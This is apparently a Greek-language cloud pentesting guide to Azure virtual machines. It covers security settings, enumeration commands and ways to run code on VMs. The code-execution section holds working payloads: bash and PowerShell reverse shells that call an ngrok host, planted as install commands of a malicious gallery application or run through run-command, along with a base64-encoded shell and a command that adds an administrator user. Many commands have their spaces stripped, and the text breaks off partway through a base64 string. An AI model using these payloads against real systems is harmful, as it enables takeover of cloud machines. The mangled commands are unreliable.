Τα δίκτυα Azure περιέχουν διαφορετικές οντότητες και τρόπους διαμόρφωσης. Μπορείτε να βρείτε μια σύντομη περιγραφή,παραδείγματα και εντολές αρίθμησης των διαφορετικών οντοτήτων δικτύου Azure στο:
Οι Εικονικές Μηχανές Azure (VMs) είναι ευέλικτοι, κατά παραγγελία servers που βασίζονται στο cloud και σας επιτρέπουν να εκτελείτε λειτουργικά συστήματα Windows ή Linux. Σας επιτρέπουν να αναπτύσσετε εφαρμογές και φόρτους εργασίας χωρίς να διαχειρίζεστε φυσικό υλικό. Οι VMs Azure μπορούν να διαμορφωθούν με διάφορες επιλογές CPU, μνήμης και αποθήκευσης για να καλύψουν συγκεκριμένες ανάγκες και να ενσωματωθούν με υπηρεσίες Azure όπως εικονικά δίκτυα, αποθήκευση και εργαλεία ασφαλείας.
Ρυθμίσεις Ασφαλείας
Ζώνες Διαθεσιμότητας: Οι ζώνες διαθεσιμότητας είναι διακριτές ομάδες κέντρων δεδομένων εντός μιας συγκεκριμένης περιοχής Azure που είναι φυσικά διαχωρισμένες για να ελαχιστοποιήσουν τον κίνδυνο να επηρεαστούν πολλές ζώνες από τοπικές διακοπές ή καταστροφές.
Τύπος Ασφαλείας:
Τυπική Ασφάλεια: Αυτός είναι ο προεπιλεγμένος τύπος ασφάλειας που δεν απαιτεί καμία συγκεκριμένη διαμόρφωση.
Εμπιστευμένη Εκκίνηση: Αυτός ο τύπος ασφάλειας ενισχύει την προστασία κατά των boot kits και του κακόβουλου λογισμικού επιπέδου πυρήνα χρησιμοποιώντας Secure Boot και Virtual Trusted Platform Module (vTPM).
Εμπιστευμένες VMs: Εκτός από μια εμπιστευμένη εκκίνηση, προσφέρει απομόνωση βασισμένη σε υλικό μεταξύ της VM, του hypervisor και της διαχείρισης του host, βελτιώνει την κρυπτογράφηση δίσκου και περισσότερα.
Αυθεντικοποίηση: Από προεπιλογή, δημιουργείται ένα νέο κλειδί SSH, αν και είναι δυνατό να χρησιμοποιηθεί ένα δημόσιο κλειδί ή να χρησιμοποιηθεί ένα προηγούμενο κλειδί και το όνομα χρήστη από προεπιλογή είναι azureuser. Είναι επίσης δυνατό να διαμορφωθεί η χρήση κωδικού πρόσβασης.
Κρυπτογράφηση δίσκου VM: Ο δίσκος κρυπτογραφείται σε κατάσταση αδράνειας από προεπιλογή χρησιμοποιώντας ένα κλειδί που διαχειρίζεται η πλατφόρμα.
Είναι επίσης δυνατό να ενεργοποιηθεί η Κρυπτογράφηση στον host, όπου τα δεδομένα θα κρυπτογραφούνται στον host πριν αποσταλούν στην υπηρεσία αποθήκευσης, εξασφαλίζοντας κρυπτογράφηση από άκρο σε άκρο μεταξύ του host και της υπηρεσίας αποθήκευσης (docs).
Ομάδα ασφαλείας δικτύου NIC:
Καμία: Βασικά ανοίγει κάθε θύρα
Βασική: Επιτρέπει την εύκολη ανοίγμα των εισερχόμενων θυρών HTTP (80), HTTPS (443), SSH (22), RDP (3389)
Προηγμένη: Επιλέξτε μια ομάδα ασφαλείας
Αντίγραφο ασφαλείας: Είναι δυνατό να ενεργοποιηθεί η Τυπική αντίγραφο ασφαλείας (μία την ημέρα) και Ενισχυμένη (πολλαπλές ανά ημέρα)
Επιλογές οργάνωσης ενημερώσεων: Αυτό επιτρέπει την αυτόματη εφαρμογή ενημερώσεων στις VMs σύμφωνα με την επιλεγμένη πολιτική όπως περιγράφεται στα docs.
Ειδοποιήσεις: Είναι δυνατό να λαμβάνετε αυτόματα ειδοποιήσεις μέσω email ή κινητής εφαρμογής όταν συμβαίνει κάτι στη VM. Προεπιλεγμένοι κανόνες:
Το ποσοστό CPU είναι μεγαλύτερο από 80%
Οι διαθέσιμες μνήμες Bytes είναι λιγότερες από 1GB
Το ποσοστό κατανάλωσης IOPS Δίσκων Δεδομένων είναι μεγαλύτερο από 95%
Το ποσοστό κατανάλωσης IOPS OS είναι μεγαλύτερο από 95%
Το συνολικό δίκτυο είναι μεγαλύτερο από 500GB
Το συνολικό δίκτυο εξόδου είναι μεγαλύτερο από 200GB
Το VmAvailabilityMetric είναι λιγότερο από 1
Παρακολούθηση υγείας: Από προεπιλογή ελέγχει το πρωτόκολλο HTTP στην θύρα 80
Κλειδώματα: Επιτρέπει το κλείδωμα μιας VM ώστε να μπορεί να διαβαστεί μόνο (ReadOnly lock) ή να μπορεί να διαβαστεί και να ενημερωθεί αλλά όχι να διαγραφεί (CanNotDelete lock).
Οι περισσότερες πόροι που σχετίζονται με VM υποστηρίζουν επίσης κλειδώματα όπως δίσκοι, στιγμιότυπα...
Τα κλειδώματα μπορούν επίσης να εφαρμοστούν σε επίπεδα ομάδας πόρων και συνδρομής
Δίσκοι & στιγμιότυπα
Είναι δυνατό να επιτραπεί η σύνδεση ενός δίσκου σε 2 ή περισσότερες VMs
Από προεπιλογή, κάθε δίσκος είναι κρυπτογραφημένος με ένα κλειδί πλατφόρμας.
Το ίδιο ισχύει και για τα στιγμιότυπα
Από προεπιλογή είναι δυνατό να μοιραστεί ο δίσκος από όλα τα δίκτυα, αλλά μπορεί επίσης να περιοριστεί μόνο σε ορισμένα ιδιωτικά δικαιώματα ή να απενεργοποιηθεί εντελώς η δημόσια και ιδιωτική πρόσβαση.
Το ίδιο ισχύει και για τα στιγμιότυπα
Είναι δυνατό να δημιουργηθεί ένα SAS URI (μέγιστο 60 ημέρες) για εξαγωγή του δίσκου, το οποίο μπορεί να διαμορφωθεί ώστε να απαιτεί αυθεντικοποίηση ή όχι
Το ίδιο ισχύει και για τα στιγμιότυπα
# List all disksazdisklist--outputtable# Get info about a diskazdiskshow--name<disk-name>--resource-group<rsc-group>
Images, Gallery Images & Restore points
A VM image είναι ένα πρότυπο που περιέχει το λειτουργικό σύστημα, τις ρυθμίσεις εφαρμογής και το σύστημα αρχείων που απαιτούνται για να δημιουργήσετε μια νέα εικονική μηχανή (VM). Η διαφορά μεταξύ μιας εικόνας και ενός στιγμιότυπου δίσκου είναι ότι ένα στιγμιότυπο δίσκου είναι μια μόνο για ανάγνωση, αντίγραφο σε συγκεκριμένο χρόνο ενός διαχειριζόμενου δίσκου, που χρησιμοποιείται κυρίως για αντίγραφα ασφαλείας ή αποσφαλμάτωση, ενώ μια εικόνα μπορεί να περιέχει πολλούς δίσκους και έχει σχεδιαστεί για να χρησιμεύει ως πρότυπο για τη δημιουργία νέων VMs.
Οι εικόνες μπορούν να διαχειριστούν στην ενότητα Εικόνες του Azure ή μέσα σε Azure compute galleries που επιτρέπει τη δημιουργία εκδόσεων και κοινοποίηση της εικόνας διασυνοριακά ή ακόμα και να την καταστήσουν δημόσια.
Ένα restore point αποθηκεύει τη διαμόρφωση της VM και στιγμιότυπα εφαρμογής σε συγκεκριμένο χρόνο που είναι συνεπή με όλους τους διαχειριζόμενους δίσκους που είναι συνδεδεμένοι με τη VM. Σχετίζεται με τη VM και ο σκοπός του είναι να μπορεί να επαναφέρει αυτή τη VM στην κατάσταση που ήταν σε εκείνο το συγκεκριμένο χρονικό σημείο.
# Shared Image Galleries | Compute Galleries## List all galleries and get info about oneazsiglist--outputtableazsigshow--gallery-name<name>--resource-group<rsc-group>## List all community galleriesazsiglist-community--outputtable## List galleries shaerd with meazsiglist-shared--location<location>--outputtable## List all image definitions in a gallery and get info about oneazsigimage-definitionlist--gallery-name<name>--resource-group<rsc-group>--outputtableazsigimage-definitionshow--gallery-image-definition<name>--gallery-name<gallery-name>--resource-group<rsc-group>## List all the versions of an image definition in a galleryazsigimage-versionlist--gallery-image-name<image-name>--gallery-name<gallery-name>--resource-group<rsc-group--outputtable## List all VM applications inside a galleryazsiggallery-applicationlist--gallery-name<gallery-name>--resource-group<res-group>--outputtable# Images# List all managed images in your subscriptionazimagelist--outputtable# Restore points## List all restore points and get info about 1azrestore-pointcollectionlist-all--outputtableazrestore-pointcollectionshow--collection-name<collection-name>--resource-group<rsc-group>
Azure Site Recovery
Από τα docs: Το Site Recovery βοηθά στην εξασφάλιση της επιχειρηματικής συνέχειας διατηρώντας τις επιχειρηματικές εφαρμογές και τα φορτία εργασίας σε λειτουργία κατά τη διάρκεια διακοπών. Το Site Recovery αντιγράφει τα φορτία εργασίας που εκτελούνται σε φυσικές και εικονικές μηχανές (VMs) από μια κύρια τοποθεσία σε μια δευτερεύουσα τοποθεσία. Όταν συμβαίνει μια διακοπή στην κύρια τοποθεσία σας, μεταβαίνετε σε μια δευτερεύουσα τοποθεσία και αποκτάτε πρόσβαση στις εφαρμογές από εκεί. Αφού η κύρια τοποθεσία είναι ξανά σε λειτουργία, μπορείτε να επιστρέψετε σε αυτήν.
Azure Bastion
Το Azure Bastion επιτρέπει ασφαλή και απρόσκοπτη Remote Desktop Protocol (RDP) και Secure Shell (SSH) πρόσβαση στις εικονικές μηχανές (VMs) σας απευθείας μέσω του Azure Portal ή μέσω ενός jump box. Με την εξάλειψη της ανάγκης για δημόσιες διευθύνσεις IP στις VMs σας.
Το Bastion αναπτύσσει ένα υποδίκτυο που ονομάζεται AzureBastionSubnet με μάσκα δικτύου /26 στο VNet που χρειάζεται για να λειτουργήσει. Στη συνέχεια, επιτρέπει να συνδεθείτε σε εσωτερικές VMs μέσω του προγράμματος περιήγησης χρησιμοποιώντας RDP και SSH, αποφεύγοντας την έκθεση θυρών των VMs στο Διαδίκτυο. Μπορεί επίσης να λειτουργήσει ως jump host.
Για να καταγράψετε όλους τους Azure Bastion Hosts στην υπογραφή σας και να συνδεθείτε σε VMs μέσω αυτών, μπορείτε να χρησιμοποιήσετε τις παρακάτω εντολές:
# List bastionsaznetworkbastionlist-otable# Connect via SSH through bastionaznetworkbastionssh \--name MyBastion \--resource-group MyResourceGroup \--target-resource-id /subscriptions/12345678-1234-1234-1234-123456789abc/resourceGroups/MyResourceGroup/providers/Microsoft.Compute/virtualMachines/MyVM \--auth-type ssh-key \--username azureuser \--ssh-key ~/.ssh/id_rsa# Connect via RDP through bastionaznetworkbastionrdp \--name <BASTION_NAME> \--resource-group <RESOURCE_GROUP> \--target-resource-id /subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP>/providers/Microsoft.Compute/virtualMachines/<VM_NAME> \--auth-type password \--username <VM_USERNAME> \--password <VM_PASSWORD>
Metadata
Η Υπηρεσία Μεταδεδομένων Εικονικών Μηχανών Azure (IMDS) παρέχει πληροφορίες σχετικά με τις τρέχουσες εικονικές μηχανές για να βοηθήσει στη διαχείριση και τη διαμόρφωσή τους. Προσφέρει λεπτομέρειες όπως το SKU, αποθήκευση, ρυθμίσεις δικτύου και πληροφορίες σχετικά με προγραμματισμένα γεγονότα συντήρησης μέσω REST API διαθέσιμου στη μη δρομολογήσιμη διεύθυνση IP 169.254.169.254, η οποία είναι προσβάσιμη μόνο από μέσα στη VM. Η επικοινωνία μεταξύ της VM και του IMDS παραμένει εντός του κεντρικού υπολογιστή, διασφαλίζοντας ασφαλή πρόσβαση. Όταν γίνεται ερώτηση στο IMDS, οι HTTP πελάτες μέσα στη VM θα πρέπει να παρακάμπτουν τους διαδικτυακούς μεσολαβητές για να διασφαλίσουν σωστή επικοινωνία.
Επιπλέον, για να επικοινωνήσετε με το σημείο τερματισμού μεταδεδομένων, το HTTP αίτημα πρέπει να έχει την κεφαλίδα Metadata: true και δεν πρέπει να έχει την κεφαλίδα X-Forwarded-For.
# VMs## List all VMs and get info about oneazvmlist--outputtableazvmshow--name<came>--resource-group<rsc-group>## List all available VM images and get info about oneazvmimagelist--all--outputtable# VM Extensions## List all VM extensionsazvmextensionimagelist--outputtable## Get extensions by publisherazvmextensionimagelist--publisher"Site24x7"--outputtable## List extensions in a VMazvmextensionlist-g<rsc-group>--vm-name<vm-name>## List managed identities in a VMazvmidentityshow \--resource-group <rsc-group> \--name <vm-name># Disks## List all disks and get info about oneazdisklist--outputtableazdiskshow--name<disk-name>--resource-group<rsc-group># Snapshots## List all galleries abd get info about oneazsiglist--outputtableazsigshow--gallery-name<name>--resource-group<rsc-group>## List all snapshots and get info about oneazsnapshotlist--outputtableazsnapshotshow--name<name>--resource-group<rsc-group># Shared Image Galleries | Compute Galleries## List all galleries and get info about oneazsiglist--outputtableazsigshow--gallery-name<name>--resource-group<rsc-group>## List all community galleriesazsiglist-community--outputtable## List galleries shared with meazsiglist-shared--location<location>--outputtable## List all image definitions in a gallery and get info about oneazsigimage-definitionlist--gallery-name<name>--resource-group<rsc-group>--outputtableazsigimage-definitionshow--gallery-image-definition<name>--gallery-name<gallery-name>--resource-group<rsc-group>## List all the versions of an image definition in a galleryazsigimage-versionlist--gallery-image-name<image-name>--gallery-name<gallery-name>--resource-group<rsc-group--outputtable## List all VM applications inside a galleryazsiggallery-applicationlist--gallery-name<gallery-name>--resource-group<res-group>--outputtable# Images# List all managed images in your subscriptionazimagelist--outputtable# Restore points## List all restore points and get info about 1azrestore-pointcollectionlist-all--outputtableazrestore-pointcollectionshow--collection-name<collection-name>--resource-group<rsc-group># Bastion## list all bastionsaznetworkbastionlist-otable# Network## List VNetsaznetworkvnetlist--query"[].{name:name, location:location, addressSpace:addressSpace}"## List subnets of a VNetaznetworkvnetsubnetlist--resource-group<ResourceGroupName>--vnet-name<VNetName>--query"[].{name:name, addressPrefix:addressPrefix}"-otable## List public IPsaznetworkpublic-iplist--outputtable## Get NSG rulesaznetworknsgrulelist--nsg-name<NSGName>--resource-group<ResourceGroupName>--query"[].{name:name, priority:priority, direction:direction, access:access, protocol:protocol, sourceAddressPrefix:sourceAddressPrefix, destinationAddressPrefix:destinationAddressPrefix, sourcePortRange:sourcePortRange, destinationPortRange:destinationPortRange}"-otable## Get NICs and subnets using this NSGaznetworknsgshow--nameMyLowCostVM-nsg--resource-groupResource_Group_1--query"{subnets: subnets, networkInterfaces: networkInterfaces}"## List all Nics & get info of a single oneaznetworkniclist--outputtableaznetworknicshow--name<name>--resource-group<rsc-group>## List Azure Firewallsaznetworkfirewalllist--query"[].{name:name, location:location, subnet:subnet, publicIp:publicIp}"-otable## Get network rules of a firewallaznetworkfirewallnetwork-rulecollectionlist--firewall-name<FirewallName>--resource-group<ResourceGroupName>--query"[].{name:name, rules:rules}"-otable## Get application rules of a firewallaznetworkfirewallapplication-rulecollectionlist--firewall-name<FirewallName>--resource-group<ResourceGroupName>--query"[].{name:name, rules:rules}"-otable## Get nat rules of a firewallaznetworkfirewallnat-rulecollectionlist--firewall-name<FirewallName>--resource-group<ResourceGroupName>--query"[].{name:name, rules:rules}"-otable## List Route Tablesaznetworkroute-tablelist--query"[].{name:name, resourceGroup:resourceGroup, location:location}"-otable## List routes for a tableaznetworkroute-tableroutelist--route-table-name<RouteTableName>--resource-group<ResourceGroupName>--query"[].{name:name, addressPrefix:addressPrefix, nextHopType:nextHopType, nextHopIpAddress:nextHopIpAddress}"-otable# Misc## List all virtual machine scale setsazvmsslist--outputtable## List all availability setsazvmavailability-setlist--outputtable## List all load balancersaznetworklblist--outputtable## List all storage accountsazstorageaccountlist--outputtable## List all custom script extensions on a specific VMazvmextensionlist--vm-name<vm-name>--resource-group<resource-group># Show boot diagnostics settings for a specific VMazvmboot-diagnosticsget-boot-log--name<vm-name>--resource-group<resource-group>## List all tags on virtual machinesazresourcelist--resource-type"Microsoft.Compute/virtualMachines"--query"[].{Name:name, Tags:tags}"--outputtable# List all available run commands for virtual machinesazvmrun-commandlist--outputtable
# Get readable VMsGet-AzVM| fl# Lis running VMsGet-AzureRmVM-status |where {$_.PowerState-EQ"VM running"} | select ResourceGroupName,NameGet-AzVM-Name <name>-ResourceGroupName <res_group_name>| fl *Get-AzVM-Name <name>-ResourceGroupName <res_group_name>| select -ExpandProperty NetworkProfile# Get iface and IP addressGet-AzNetworkInterface-Name <interface_name>Get-AzPublicIpAddress-Name <iface_public_ip_id>#Get installed extensionsGet-AzVMExtension-ResourceGroupName <res_group_name>-VMName <name>Get-AzVM| select -ExpandProperty NetworkProfile # Get name of network connector of VMGet-AzNetworkInterface-Name <name># Get info of network connector (like IP)
Εκτέλεση Κώδικα σε VMs
Επεκτάσεις VM
Οι επεκτάσεις VM του Azure είναι μικρές εφαρμογές που παρέχουν διαμόρφωση μετά την ανάπτυξη και αυτοματοποιημένες εργασίες σε εικονικές μηχανές (VMs) του Azure.
Αυτό θα επιτρέψει να εκτελούνται αυθαίρετοι κώδικες μέσα σε VMs.
Η απαιτούμενη άδεια είναι Microsoft.Compute/virtualMachines/extensions/write.
Είναι δυνατή η καταγραφή όλων των διαθέσιμων επεκτάσεων με:
# It takes some mins to runazvmextensionimagelist--outputtable# Get extensions by publisherazvmextensionimagelist--publisher"Site24x7"--outputtable
Είναι δυνατόν να εκτελέσετε προσαρμοσμένες επεκτάσεις που εκτελούν προσαρμοσμένο κώδικα:
Μπορείτε επίσης να εκτελέσετε άλλες payloads όπως: powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add
Επαναφορά κωδικού πρόσβασης χρησιμοποιώντας την επέκταση VMAccess
# Run VMAccess extension to reset the password$cred=Get-Credential# Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the passwordSet-AzVMAccessExtension-ResourceGroupName "<rsc-group>"-VMName "<vm-name>"-Name "myVMAccess"-Credential $cred
Σχετικές επεκτάσεις VM
Η απαιτούμενη άδεια είναι ακόμα Microsoft.Compute/virtualMachines/extensions/write.
Επέκταση VMAccess
Αυτή η επέκταση επιτρέπει την τροποποίηση του κωδικού πρόσβασης (ή τη δημιουργία αν δεν υπάρχει) χρηστών μέσα σε Windows VMs.
# Run VMAccess extension to reset the password$cred=Get-Credential# Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the passwordSet-AzVMAccessExtension-ResourceGroupName "<rsc-group>"-VMName "<vm-name>"-Name "myVMAccess"-Credential $cred
DesiredConfigurationState (DSC)
Αυτή είναι μια επέκταση VM που ανήκει στη Microsoft και χρησιμοποιεί το PowerShell DSC για να διαχειρίζεται τη διαμόρφωση των Azure Windows VMs. Επομένως, μπορεί να χρησιμοποιηθεί για εκτέλεση αυθαίρετων εντολών σε Windows VMs μέσω αυτής της επέκτασης:
Αυτή είναι μια επέκταση VM που θα επιτρέπει την εκτέλεση runbooks σε VMs από έναν λογαριασμό αυτοματοποίησης. Για περισσότερες πληροφορίες, ελέγξτε την υπηρεσία Λογαριασμοί Αυτοματοποίησης.
Εφαρμογές VM
Αυτά είναι πακέτα με όλα τα δεδομένα εφαρμογής και σενάρια εγκατάστασης και απεγκατάστασης που μπορούν να χρησιμοποιηθούν για να προσθέσουν και να αφαιρέσουν εύκολα εφαρμογές σε VMs.
# List all galleries in resource groupazsiglist--resource-group<res-group>--outputtable# List all apps in a falleryazsiggallery-applicationlist--gallery-name<gallery-name>--resource-group<res-group>--outputtable
Αυτές είναι οι διαδρομές όπου οι εφαρμογές κατεβαίνουν μέσα στο σύστημα αρχείων:
Είναι δυνατόν να μοιραστείτε μεμονωμένες εφαρμογές και γκαλερί με άλλες συνδρομές ή ενοικιαστές. Αυτό είναι πολύ ενδιαφέρον γιατί θα μπορούσε να επιτρέψει σε έναν επιτιθέμενο να δημιουργήσει μια πίσω πόρτα σε μια εφαρμογή και να μεταπηδήσει σε άλλες συνδρομές και ενοικιαστές.
Αλλά δεν υπάρχει μια "αγορά" για εφαρμογές vm όπως υπάρχει για τις επεκτάσεις.
Παράδειγμα εκμετάλλευσης για την εκτέλεση αυθαίρετων εντολών:
# Create gallery (if the isn't any)azsigcreate--resource-groupmyResourceGroup \--gallery-name myGallery--location"West US 2"# Create application containerazsiggallery-applicationcreate \--application-name myReverseShellApp \--gallery-name myGallery \--resource-group <rsc-group> \--os-type Linux \--location "West US 2"# Create app version with the rev shell## In Package file link just add any link to a blobl storage fileazsiggallery-applicationversioncreate \--version-name 1.0.2 \--application-name myReverseShellApp \--gallery-name myGallery \--location "West US 2" \--resource-group <rsc-group> \--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \--install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \--remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \--update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'"# Install the app in a VM to execute the rev shell## Use the ID given in the previous outputazvmapplicationset \--resource-group <rsc-group> \--name <vm-name> \--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \--treat-deployment-as-failure true
# Create gallery (if the isn't any)azsigcreate--resource-group<rsc-group> \--gallery-name myGallery--location"West US 2"# Create application containerazsiggallery-applicationcreate \--application-name myReverseShellAppWin \--gallery-name myGallery \--resource-group <rsc-group> \--os-type Windows \--location "West US 2"# Get encoded reverse shellecho -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64
# Create app version with the rev shell## In Package file link just add any link to a blobl storage fileexport encodedCommand="JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA="
azsiggallery-applicationversioncreate \--version-name 1.0.0 \--application-name myReverseShellAppWin \--gallery-name myGallery \--location "West US 2" \--resource-group <rsc-group> \--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \--install-command "powershell.exe -EncodedCommand $encodedCommand" \--remove-command "powershell.exe -EncodedCommand $encodedCommand" \--update-command "powershell.exe -EncodedCommand $encodedCommand"# Install the app in a VM to execute the rev shell## Use the ID given in the previous outputazvmapplicationset \--resource-group <rsc-group> \--name deleteme-win4 \--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellAppWin/versions/1.0.0 \--treat-deployment-as-failure true
Δεδομένα χρήστη
Αυτά είναι μόνιμα δεδομένα που μπορούν να ανακτηθούν από το σημείο μεταδεδομένων οποιαδήποτε στιγμή. Σημειώστε ότι στο Azure, τα δεδομένα χρήστη είναι διαφορετικά από το AWS και το GCP επειδή αν τοποθετήσετε ένα σενάριο εδώ, δεν εκτελείται από προεπιλογή.
Προσαρμοσμένα δεδομένα
Είναι δυνατόν να περάσετε κάποια δεδομένα στη VM που θα αποθηκευτούν σε αναμενόμενες διαδρομές:
Στα Windows, τα προσαρμοσμένα δεδομένα τοποθετούνται στο %SYSTEMDRIVE%\AzureData\CustomData.bin ως δυαδικό αρχείο και δεν επεξεργάζονται.
Στο Linux, αποθηκεύονταν στο /var/lib/waagent/ovf-env.xml και τώρα αποθηκεύονται στο /var/lib/waagent/CustomData/ovf-env.xml
Linux agent: Δεν επεξεργάζεται προσαρμοσμένα δεδομένα από προεπιλογή, απαιτείται μια προσαρμοσμένη εικόνα με τα δεδομένα ενεργοποιημένα
cloud-init: Από προεπιλογή επεξεργάζεται προσαρμοσμένα δεδομένα και αυτά τα δεδομένα μπορεί να είναι σε διάφορες μορφές. Μπορεί να εκτελέσει ένα σενάριο εύκολα στέλνοντας απλώς το σενάριο στα προσαρμοσμένα δεδομένα.
Δοκίμασα ότι τόσο το Ubuntu όσο και το Debian εκτελούν το σενάριο που τοποθετείτε εδώ.
Δεν είναι επίσης απαραίτητο να ενεργοποιήσετε τα δεδομένα χρήστη για να εκτελεστεί αυτό.
#!/bin/shecho"Hello World">/var/tmp/output.txt
Εκτέλεση Εντολής
Αυτός είναι ο πιο βασικός μηχανισμός που παρέχει το Azure για την εκτέλεση αυθαίρετων εντολών σε VMs. Η απαιτούμενη άδεια είναι Microsoft.Compute/virtualMachines/runCommand/action.
# The permission allowing this is Microsoft.Compute/virtualMachines/runCommand/action# Execute a rev shellazvmrun-commandinvoke \--resource-group Research \--name juastavm \--command-id RunPowerShellScript \--scripts @revshell.ps1## Get encoded reverse shellecho -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64
## Create app version with the rev shell## In Package file link just add any link to a blobl storage fileexport encodedCommand="JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIANwAuAHQAYwBwAC4AZQB1AC4AbgBnAHIAbwBrAC4AaQBvACIALAAxADkAMQA1ADkAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlA